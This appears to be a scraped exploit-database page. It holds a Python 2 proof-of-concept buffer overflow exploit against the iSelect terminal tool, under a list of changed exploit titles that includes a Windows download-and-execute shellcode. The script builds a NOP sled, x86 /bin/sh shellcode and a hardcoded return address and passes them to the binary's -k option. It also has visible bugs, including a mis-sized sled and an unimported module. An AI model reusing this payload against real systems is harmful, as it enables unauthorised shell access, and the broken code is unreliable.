c03d2a3ba2
3 changes to exploits/shellcodes Acoustica Audio Converter Pro 1.1 (build 25) - Local Heap Overflow (.mp3 / .wav / .ogg / .wma) (PoC) Acoustica Audio Converter Pro 1.1 (build 25) - '.mp3 / .wav / .ogg / .wma' Local Heap Overflow (PoC) Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) AWStats 5.7 < 6.2 - Multiple Remote s (PoC) AWStats 5.7 < 6.2 - Multiple Remote (PoC) Auto Dealer - SQL Injection (PoC) Auto Dealer - SQL Injection Windows - URLDownloadToFile (http://bflow.security-portal.cz/down/xy.txt) + WinExec + ExitProcess Shellcode Windows (2000/XP/7 x64/x86) - URLDownloadToFile (http://bflow.security-portal.cz/down/xy.txt) + WinExec + ExitProcess Shellcode
56 lines
No EOL
2 KiB
Python
Executable file
56 lines
No EOL
2 KiB
Python
Executable file
# Exploit developed using Exploit Pack v7.01
|
|
# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
|
|
# Program affected: iSelect
|
|
# Affected value: -k, --key=KEY
|
|
# Version: 1.4.0-2+b1
|
|
#
|
|
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
|
|
# Program description: ncurses-based interactive line selection tool
|
|
# iSelect is an interactive line selection tool, operating via a
|
|
# full-screen Curses-based terminal session.
|
|
|
|
# Kali Linux 2.0 package: pool/main/i/iselect/iselect_1.4.0-2+b1_i386.deb
|
|
# MD5sum: d5ace58e0f463bb09718d97ff6516c24
|
|
# Website: http://www.ossp.org/pkg/tool/iselect/
|
|
|
|
# Where in the code:
|
|
#7 0xb7eaa69f in __strcpy_chk (dest=0xbfffeccc "1\243\376\267\070\360\377\277", src=0xbffff388 "=", 'A' <repeats 199 times>..., destlen=1024) at strcpy_chk.c:30
|
|
#8 0x0804bfaa in ?? ()
|
|
#9 0x0804914d in ?? ()
|
|
#10 0xb7dcd276 in __libc_start_main (main=0x8048f50, argc=2, argv=0xbffff224, init=0x804c020, fini=0x804c090, rtld_fini=0xb7fea8a0 <_dl_fini>, stack_end=0xbffff21c) at ../csu/libc-start.c:291
|
|
|
|
|
|
# Exploit code: Proof of Concept ( Without Fortify )
|
|
import os, subprocess
|
|
|
|
def run():
|
|
try:
|
|
print "# iSelect - Local Buffer Overflow by Juan Sacco"
|
|
print "# This Exploit has been developed using Exploit Pack - http://exploitpack.com"
|
|
# NOPSLED + SHELLCODE + EIP
|
|
|
|
buffersize = 1024
|
|
nopsled = "\x90"*30
|
|
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
|
|
eip = "\x08\xec\xff\xbf"
|
|
buffer = nopsled * (buffersize-len(shellcode)) + eip
|
|
subprocess.call(["iselect -k=",'', buffer])
|
|
|
|
except OSError as e:
|
|
if e.errno == os.errno.ENOENT:
|
|
print "Sorry, iSelect binary - Not found!"
|
|
else:
|
|
print "Error executing exploit"
|
|
raise
|
|
|
|
def howtousage():
|
|
print "Snap! Something went wrong"
|
|
sys.exit(-1)
|
|
|
|
if __name__ == '__main__':
|
|
try:
|
|
print "Exploit iSelect - Local Overflow Exploit"
|
|
print "Author: Juan Sacco - Exploit Pack"
|
|
except IndexError:
|
|
howtousage()
|
|
run() |